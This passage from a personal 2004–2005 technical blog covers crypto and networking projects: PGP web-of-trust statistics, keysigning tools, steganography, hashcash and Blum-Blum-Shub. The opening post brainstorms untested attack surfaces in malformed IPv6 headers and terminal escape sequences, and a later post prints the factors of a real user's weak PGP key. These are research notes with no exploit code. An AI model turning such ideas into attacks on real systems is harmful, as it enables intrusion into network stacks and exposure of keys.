  • the IPv6 Routing Header (RFC2460, Section 4.6) defines up to 127 hops through which a datagram should travel. It specifies the hops by addresses, so that the header alone can be up to 16 * 127 + 4 = 2036 bytes long. The routing header may not be fragmented (RFC2460, Section 4.5), and the minimum MTU is 1280 (RFC2460, Section 5). It makes the mind boggle.
  • to compute the UDP body checksum, an IPv6 pseudo-header has to be constructed in memory. The UDP checksum ignores the headers between the address part and the UDP header, except when there's a routing header present, in which case it has to be parsed for the final hop, which will then be included in the pseudo-header. Simple, fast, efficient.
While there are some compliance testing efforts, there seem to be no checks about handling of non-compliant datagrams. What happens if a datagram carries two routing headers, three destination option headers, undefined NextHeader values, or a Jumbogram header indicating a payload of 4 Gigabyte on an ordinary ether interface?
Internationalization
Diverse pranks with Unicode are making the round (e.g. shoestringfoundation's very own UTFbiffier), and the various hacks to get wide-char support in standard applications, and then there's Internationalized Domain Names (RFC 3490) and useful character encodings in X509 (for example Teletext and T61Sting which includes really suprising chars, see Peter Gutmann's highly readable X.509 style guide). All that calls for further interesting exploits on the user interface.
ANSI terminal viruses (ok, it's viri, but tell that to the walri)
We terribly ε¦ïʈè ɦaϲќҽrႽ tend to use command line interfaces on terminals, consoles, xterms or even screen. But there's been lots of interesting attacks involving magic escape sequences. A recent paper by H.D. Moore points out that this is a pending threat still.
URG flags and pointers
The TCP urgent feature implements the strange ITU-y idea of sideband signaling. It basically tells the socket that there's much more interesting data somewhere later in the TCP stream. Practically no program uses this, but who knows what shenanigans might be caused by an URG pointer in a Jumboframe …
Enough for now …

[/projects] permanent link

Wed, 06 Apr 2005

Anti-social Tagging


The sharing and co-operative commenting of bookmark-like links is a very interesting idea. It takes the slashdot/scoop idea to the extreme because everybody can dump what they find interesting and sort other suggestions by keywords aka tags. Popular implementations such as del.icio.us or CiteULike are nice and well, but they are centralized, easy to flood and a bit too open for my taste. So I was happy to see that Ricardo Signes wrote Rubric, a free implementation of a del.icio.us work-alike, and Steve Mallet at de.lirio.us adapted the interface to make it look like del.icio.us.
I'm testing it right now and would like to run my own tagged bookmark store, integrate part of them with this blog and share the links with friends.
The Rubric code depends on loads of Perl modules and it takes some few minutes to configure it. Ricardo provides scripts to import existing link-lists quickly, without going through the web interface. The input format is a YAML dump of a reference to an array of hashes with certain keys. I wrote a little script to convert Lynx's bookmarks to that format.
Stay tuned …
Update: the script now works for "DOCTYPE NETSCAPE-Bookmark-file-1", i.e. Firefox, Mozillas as well.

[/projects] permanent link

Mon, 21 Feb 2005

Co-links


There have been a lot of ideas about how to allow multi-writer web pages. The simplest implementation is the classic wiki (everybody can write everything), the most useless idea in this area is Annotea which requires modifications at the client (as proof of irrelevance, they implemented it for Amaya). There are many applications where the ability to add comments would be useful, and where the wiki concept allows too much mischief. A group of brazilians implemented what they call co-links. This trickery of php/sql/javascript allows readers to insert links in a text and add links to existing lists of links. They require no modifications at the browser and the new links are stored at the server (not always a pro, but a good start when compared to annotea, where all modifications are stored at the W3C), but not the content they point at. A nice application would be, e.g. a distributedly annotated edition of a literary text.

[/projects] permanent link

Thu, 03 Feb 2005

Recursive RFCs


The specs for the highly esoteric Dynamic Delegation Discovery System (DDDS), RFCs 3401 to 3405 all contain the following curious phrase:
The entire series of documents is specified in "Dynamic Delegation Discovery System (DDDS) Part One: The Comprehensive DDDS" (RFC 3401) [1]. It is very important to note that it is impossible to read and understand a single document in that series without reading the related documents.
Since each document stating this is itself a part of the series, recursion kicks in and it becomes “impossible to read and understand” any of the RFCs.
This does not bode well for the rest of the standard.

[/projects] permanent link

Thu, 09 Dec 2004

Computing Betweenness Centrality in the Web-of-Trust


The mean-minimum-distance of a key to all other keys in the web-of-trust gives some idea of the connectedness of the key. This is done in Drew Streib and Jason Harris' keyanalyze. But it does not express how the key contributes to the infrastructure of the web-of-trust. It would be nice to have measurement of, e.g., the number of otherwise disjoint communities which are connected only or mainly through a key.

A quantity that expresses something like this is the Betweenness Centrality. In a nutshell, it is the number of shortest paths which lead through a vertex in a graph. The paths are taken from every vertex, to every vertex. If there is more than one shortest path between two vertices, the centrality of the vertices on the paths is increased only by the fraction of paths which they are part of.

Formally, Betweenness Centrality of a vertex v is defined as the sum of [(number of shortest paths from s to t that go through v) divided by (number of shortest paths from s to t)], where s and t run over all pairwise different vertices ≠ v.

The code in Cwot.tar.gz computes the betweenness centrality of all keys of a graph. The graph must be presented in the preprocess.keys format as in keyanalyze.

To compile the code, simply type 'make'. If your system does not have /usr/include/sys/queue.h or /usr/include/sys/tree.h you have to un-comment one line in the Makefile, see there.

The algorithm used to compute the Betweenness Centrality was taken from a paper by Ulrik Brandes, “A Faster Algorithm for Betweenness Centrality” in “Journal of Mathematical Sociology”, 25(5):163-177, 2001. The time-complexity is O(nm), where n is the number of vertices (keys) and m the number of edges (signatures). The space-complexity is O(n + m), but my clumsy implementation might scale worse.

The code is available under the MIT license.

[/projects] permanent link

Wed, 08 Dec 2004

PGP mail filtering/syncing


My PGP key resides on one single machine, which runs no services and is mostly offline. Mail is delivered to another well-connected box. The mailbox format is Maildir. To decrypt mails I need to transfer the stuff to the machine with the key.
My .procmailrc on the connected box:
:0:
* Content-Type: multipart/encrypted;
pgp/

:0 B:
* -----BEGIN PGP MESSAGE-----
pgp/
To sync the files to the secure box, I use rsync. The problem is that my mail reader renames the files in the maildir to store flags like read, replied, so rsync pulls too many files. The following script helps:
tmpfile=`mktemp /tmp/mailsync.XXXXXXXX` || exit 1
for i in `find pgp -type f| sed -e 's/:[RSF,0-9]*$//'`; do
  echo -n "new/" >> $tmpfile
  basename $i >> $tmpfile
done
rsync -zvaubr --exclude-from=$tmpfile mailhost:~/Mail/pgp/ pgp/
rm $tmpfile

[/projects] permanent link

Mon, 06 Dec 2004

Naming


Naming and name spaces are important in a lot of contexts:
  • natural language (naming things, people, places, …)
  • programming languages (think about scoping, encapsulation, C's static, inheritance, …)
  • networking (Addresses, DNS, IDs for various types of sessions like in TCP or RPC, …)
  • crypto (Identifiers in certificates, fingerprints in PGP, …)
  • law (Trademarks, libels, …)
Unfortunately, computer science is mostly ignoring the whole topic. In the hope to change this a little, I'm building a bibliography/link list on naming.
Additions, corrections and comments are welcome!

[/projects] permanent link

Fri, 03 Dec 2004

Better keysigning automatisms


The common technique for signing large amounts of keys after a key-signing party is to, well, simply sign all keys and mail them to their owners. But this might not the best way. Because if you sign a key, you often sign many uids with different e-mail addresses. If any but one of these don't work you won't notice, because you signed all of them and mailed the result around. Thus your signature certifies that this key belongs to addresses it doesn't really belong to.

To avoid this, Peter Palfrader wrote caff. This Perl script converts keys with many uids to many keys with just one uid each, and signs these. It then encrypts each signed key with itself and sends it to the e-mail address in the uid. This helps to assure that you don't sign uids with e-mail addresses which aren't under the control of the signee. Caff removes other signatures from the keys as well, to make the mails smaller and easier to process.

The script needs the experimental gnupg-1.3.92 (check gnupg-1.3.92.tar.gz.sig) and the Perl module GnuPG::Interface.

Peter Palfrader is the author of caff, I merely added a few features to allow signing with multiple and older keys, and to have caff just save the mails in a folder instead of sending them off at once.

NEWS

Fixed an error in the handling of extensions (e.g. idea).

[/projects] permanent link

Thu, 18 Nov 2004

Orientation for Laptops


I carry around my old Vaio and connect it to different subnets. Typing the same commands (ifconfig ....; route delete default; route add default ...; cp /etc/resolv.conf.place /etc/resolv.conf; ...) every time I reconnected got boring, so the stuff went into scripts. I later heard of Felix von Leitner's divine. It sends out fake ARP requests to divine to which network the machine is connected, and takes configured actions depending on the results.

It turns out that it's pretty easy to re-implement this with “standard&ddquo; utilities on OpenBSD. I use arping by Thomas Habets from the ports-tree and ifstated supplied in the OpenBSD source tree. ifstated is not installed in the standard build process, but a simple
cd /usr/src/usr.sbin/ifstated
make && make install

fixes that. The documentation for the config-file ifstated.conf is non-existant, but an example is in /usr/src/etc/ifstated.conf.

You can take my minimal config for multiple networks and adapt it by substituting the name of your interface, the IP/MACs of the hosts in your networks. Works fine in my setup.

[/projects] permanent link

Thu, 11 Nov 2004

drawing binary trees


While preparing a talk about extensions of Merkle's hash trees, I found that it's extremely complicated to draw nice binary trees with WYSIWG software.
So I wrote code to do it. It's in Perl and uses the GD module. GD's handling of colors is awkward, but the code does it's magic.

[/projects] permanent link

Mon, 01 Nov 2004

Web of Trust Betweenness Centrality Stats online


Using the technique described in another post, I now compute the betweenness centrality of the strong connected component, using Jason Harris' pre-processed keys as starting point. Results are at http://pestilenz.org/~bauerm/wotstats.html .

[/projects] permanent link

Thu, 12 Aug 2004

Self-Covering Steganography


One problem with steganography is that the embedding of hidden text in the covertext changes the statistical characteristics of the covertext. With large amounts of covertext, it becomes obvious. Niels Provos addressed this in Outguess by changing other bits in the covertext to minimize the impact of the embedding on the chi-square test. Would it be easier to embed undetectably if we can generate the covertext ourselves. Definitely! Mybal.pl does this. Supply it with an ASCII text and it computes the probabilities of characters following every sequence of characters in the text. Supply it with a key, a message to embed and a word, and it will generate a covertext starting with that word. The covertext has exactly the same probability distribution as the orginal text, but the message can be extracted from it, if the key is known. How does it work? Mybal takes the word to start with, interprets it as a sequence of chars and checks which chars would be next in the sequence, and how probable each of them are. It then throws a biased die (a PRNG seeded with the key) to decide which char is next. It appends that char and interprets the result as another sequence and so on. If the list of possible next characters contains two chars with the same probability and the keyed random number generator chooses one of them mybal looks for the next message bit to embed. If it's a zero, then the randomly chosen char is appended. If it's a one, the other equally likely char is appended. This guarantees that the probability distribution is always the same as in the orginal.
To extract the message, mybal starts with the first word and walks along the covertext, always checking the list of possible next chars. If the char in the covertext has the same probability as another char in the list, then a message bit could be embedded with that char. To check which bit it was, mybal uses the keyed PRNG to generate the text itself and thus sees which char it would have chosen on a one or zero bit.

[/projects] permanent link

Thu, 01 Jul 2004

Transferable namespace projection in bind9


Assume that you have control over a zone somezone.net, i.e. you can add records in that zone. With this patch to bind-9.1.3 you can designate a new domain, even a TLD, e.g. .mytld. Every hostname h.mytld in that zone is CNAMEd to a hostname j in somezone.net, where j = SHA1(h . <secret>). <secret> is set in bind's config file. This allows you to assign arbitrary meaningful names in .mytld, like icannsucks.mytld. The DNS queries that leave the subnet with your modified bind refer to meaningless hostnames in somezone.net. If you want to share this local namespace with someone, you just have to send him/her the configfile entry that defines the TLD and the secret.

[/projects] permanent link

Factoring silly keys from the keyservers


At the Privacy Enhancing Technologies Workshop in 2004, Ben Laurie and I did the following experiment: Take all RSA moduli from PGP keys presumably created with old versions of PGP and compute the pairwise gcds (Peter Palfrader supplied us with the keys). It turns out that two keys of about 18.000 have a common divisor in their moduli:
 pub    512R/A6A0B399 1994-08-22
 uid                  Joe Schmuckley
and
 pub   1024R/575F0491 1995-04-25 
 uid                  Ptolemy\x94XIV 

I attacked the second key with Paul Zimmermann's Elliptic Curve Factoring implementation.
The key's modulus is
1549562663450840692268622483721103711669388864897522390528764
829445645828909290189247132280621825493873705019175480670501
2516682556124827129012380911158436701354213114871849305291083
202711859451406305095386470946490932290315424308032810615741
2235640682459755462203449571275078025946614196463838287264848
217233
This is not the product of two primes. So far we found the following factors:
  1. 3 (Yes, three!)
  2. 3 (Yes, it's not even squarefree)
  3. 42742556573248957
  4. 314267779982277702367112491702024117309
The remainder is not prime but seems to contain no factors smaller than 150 bits.

[/projects] permanent link

Wed, 30 Jun 2004

Pingsweeps go BOING


Fascinated by the Auralizer, I started my own, simplified version, Netsound. The idea is to define sound events to be triggered by network events. In netsound, you can set pcap(3) filters together with bounds and the sound to play if the event occured that often. E.g.:
filter: icmp and not src net 131.188
max: 10
soundfile: sounds/boing.au
You can define many of these events. Netsound uses libesd to play and mix the sounds.

[/projects] permanent link

Blum-Blum-Shubb-Niggurath


The Blum-Blum-Shub Pseudo Random Number Generator works basically as follows:
  1. Setup
    1. Generate two large primes such that they both equal 3 mod 4
    2. Take the product N and forget the primes
    3. Fetch an initial state x_0 from a true RNG
  2. Operation per step
    1. compute next state: x_{i+1} = x_i^2 mod N
    2. output the least significant bit of x_{i+1}
Blum, Blum and Shub show that predicting the next bit from the observed output is as hard as factoring N. In addition, after erasing the primes computing previous states from the current one is as hard as factorization.
A problem exists with the expected cycle length of the produced random bits. As Terry Ritter pointed out, maximum cycles (near the size of N) can be assured by choosing the primes as “double--Germain”, i.e. p = p'*2 + 1, p' = p''*2 + 1, with p, p', p'' all prime.
My implementation generates such primes. A possible application for BBS is generating strong randomness on embedded devices without physical sources of randomness. Upon initialization, a truely random seed could be stored on the device, which later is updated synchronously after each step of the algorithm.

[/projects] permanent link

Mon, 28 Jun 2004

Unicode is the next 3|_33+ 5P34|<


Bored with being eleet on IRC? Why not take a look at the forthcoming 32-bit eleetness brought to you by Unicode(TM)(R)? At the Shoestring Foundation Labs, where we invented time machines long before H.G. Wells could think of one, we are in the process of converting boring old ASCII to totally eleet Unicode. See our example page!.

[/projects] permanent link

Extended Euclidian Algorihtm in dc(1)


If you think you're really bored than guess how bored I was when I wrote The Extended Euclidian Algorithm in a one-line shell script. Ok, it's a long line (160 chars in the dc part), but it runs on every POSIX compliant system and works on arbitrarily large numbers.

[/projects] permanent link

Offline HashCash


In contexts like remailers it is impossible to have the originator of a message solve puzzles interactively. But with quasi-synchronous clocks (exact up to a few hours perhaps) and a small database, it is possible to implement offline Hashcash. Such a Hashcash Check looks like:
   HashCheck
   Version: 0.1
   To: provos@citi.umich.edu
   Bits: 12
   Comment: test
   Date: 1015030975
   Rand: 1530c9285266d00f260983b793861dfd
   Hash: 001110111111
   
It is bound to a recipient (provos@citi.umich.edu) and a date, so presenting the same check to other parties or to the same party after a certain period of validity will fail. For the period of validity the recipient has to store the Rand value and compare incoming Hashcash Checks against the list of received checks. If the Rand is on the list or the date outside the validity, the Hashcash is ignored. And it's all implemented in Perl. Adam Back has a similiar scheme with shorter messages intended to be embedded in headers of other protocols.

[/projects] permanent link

HashCash


Also called Client Puzzles. HashCash is used to prove expenditure of computing power. This is interesting for flooding control, e.g.
SMTP Server: You want to send this email to 10.000 recipients? Well, pay 12 bits of HashCash for each one.
Spammer's MUA: Alright, forget about it.
Adam Back proposed and implemented HashCash based on partial hash collisions. I wrote a perl module that implements charge, pay and check functions for Hashcash in interactive contexts.

[/projects] permanent link